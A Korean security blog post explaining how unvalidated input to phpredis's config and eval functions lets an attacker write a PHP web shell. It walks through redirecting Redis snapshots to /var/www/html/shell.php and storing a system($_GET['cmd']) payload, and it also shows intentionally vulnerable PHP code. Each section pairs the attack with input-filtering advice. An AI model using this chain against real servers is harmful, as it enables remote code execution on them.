프로그래밍 언어에서는 Redis를 사용하기 위한 라이브러리를 제공하는데요, PHP에서도 phpredis라는 라이브러리(Extension)를 제공하고 있습니다.
해당 라이브러리 함수에 입력되는 값의 검증이 미흡한 경우, 각종 취약점에 노출될 수 있습니다.
이 글에서는 phpredis의 eval과 config 함수에 입력되는 값 검증이 미흡한 경우에 발생할 수 있는 웹 쉘 업로드 취약점의 발생 과정과 대응 방안을 살펴보고자 합니다.
아래와 같이 사용자의 입력을 받아 eval, config 함수의 인자로 전달하는 코드가 있습니다.
$config_result = json_encode($redis->config($_GET['option'], $_GET['key']));
$eval_result = json_encode($redis->eval($_GET['script']));
먼저 각 함수의 간략한 설명과 보안 위협 및 대응방안을 알아보겠습니다.
💥 config 함수#
https://phpredis.github.io/phpredis/Redis.html#method_config
Redis의 CONFIG
명령어를 실행합니다. $operation
에 GET
을 넘겨 설정 값을 조회하거나 SET
을 넘겨 설정 값을 셋팅할 수 도 있습니다.
주목할 점은 $operation
으로 RESETSTAT
, REWRITE
, GET
, SET
만 설정할 수 있다는 것입니다.
예를 들자면 아래와 같이 사용할 수 있습니다.
# Snapshot(RDB) 저장 주기 설정을 조회
$redis->config('GET', 'save');
# Snapshot(RDB) 저장 주기를 설정 (10초 동안 1회 이상 key 변경이 발생하면 저장)
$redis->config('SET', 'save', 10 1);
# Snapshot(RDB)이 저장되는 경로를 설정
$redis->config('SET', 'dir', '/var/www/html');
# Snapshot(RDB)이 저장되는 파일명을 설정
$redis->config('SET', 'dbfilename', 'shell.php');
Redis에서는 다음 명령어와 매치됩니다.
CONFIG GET save
CONFIG SET save 10 1
🛡️ 보안 위협 및 대응#
사용자의 입력 값이 검증없이 config 함수의 인자로 입력되는 경우, 사용자가 임의로 redis의 설정을 변경할 수 있습니다.
특히 dir, dbfilename 설정을 무단 변경할 수 있는 경우, 공격자가 Redis 명령어를 실행하여 임의로 로그 문자열을 원하는 위치의 파일에 남길 수 있게됩니다. (파일, 디렉토리 권한 설정이 취약하다는 가정 하)
이를 방지하기 위해서는 서비스에서 필요한 값만 전달될 수 있도록 필터링하는 방법이 있습니다.
💥 eval 함수#
https://phpredis.github.io/phpredis/Redis.html#method_eval
Redis의 EVAL 명령어를 실행합니다. $script에 LUA Script를 전달하여 실행시킬 수 있습니다.
특이한 점은 CONFIG 등 일부 명령어는 실행되지 않는다는 점입니다.
( Redis Github에서 확인할 수 있듯, NOSCRIPT 플래그가 존재하는 경우, LUA 스크립트 상에서 사용하지 못합니다.)
$redis->eval("return redis.call('CONFIG', 'GET', 'dir')");
<!-- POST cmd = return redis.call('SET', 'test', '<?php system("/flag"); ?>') -->
$redis->eval($_POST['cmd'])
Redis에서는 다음 명령어와 매치됩니다.
# CONFIG 명령어는 LUA 스크립트를 통해 실행할 수 없습니다.
EVAL "return redis.call('CONFIG', KEYS[1], ARGV[1])" 1 GET dir
(error) ERR This Redis command is not allowed from script script: 6eb12e0c8fe5db3b69439e9c5d90bcc30aa33844, on @user_script:1.
# 아래와 같은 일반 명령어는 실행 가능합니다.
EVAL "return redis.call('SET', KEYS[1], ARGV[1])" 1 test 123
OK
EVAL "return redis.call('GET', 'test')" 0
"123"
🛡️ 보안 위협 및 대응#
eval 함수에 입력되는 값의 검증이 미흡한 경우, LUA 스크립트를 이용해 실행할 수 있는 명령은 모두 가능하게 됩니다. (NOSCRIPT 명령 제외)
허용 가능한 명령어만 입력되도록 필터링해야 합니다.
💥 config와 eval 함수를 악용하여 웹 쉘 업로드#
사실, 위 두 함수를 잘 이용하면 공격자가 원하는 파일에 원하는 내용의 문자열을 채울 수 있습니다.
우선 config 함수를 이용해 dir 설정을 변경하여 명령어 로그 파일의 경로를 웹에서 접근할 수 있는 곳으로 변경합니다.
# Snapshot(RDB)이 저장되는 경로를 설정 $redis->config('SET', 'dir', '/var/www/html');
config 함수를 이용해 dbfilename 설정을 변경하여 웹에서 접근할 수 있는 파일에 명령어 로그가 저장되도록 합니다.
# Snapshot(RDB)이 저장되는 파일명을 설정 $redis->config('SET', 'dbfilename', 'shell.php');
config 함수를 이용해 저장 주기를 변경하여 명령어 로그가 바로 남을 수 있도록 합니다.
# Snapshot(RDB) 저장 주기를 설정 (10초 동안 1회 이상 key 변경이 발생하면 저장) $redis->config('SET', 'save', 10 1);
SET 명령어로 임의 Key에 PHP 코드가 저장되도록 명령을 실행하면, 위에서 설정한
shell.php
파일에 php 코드가 로그로 남게됩니다.<!-- POST cmd = return redis.call('SET', 'test', '<?php system($_GET["cmd"]); ?>') --> $redis->eval($_GET['cmd'])
웹에서
/shell.php?cmd=id
경로 접속 시 id 명령어가 실행된 결과를 확인할 수 있습니다.
🛡️ 보안 위협 및 대응#
함수에 입력되는 값의 검증이 미흡할 경우, 사용자가 임의의 값을 입력하여 설정을 변경하거나 악용할 수 있습니다. 허용된 값만 입력되도록 입력 값을 필터링해야 합니다.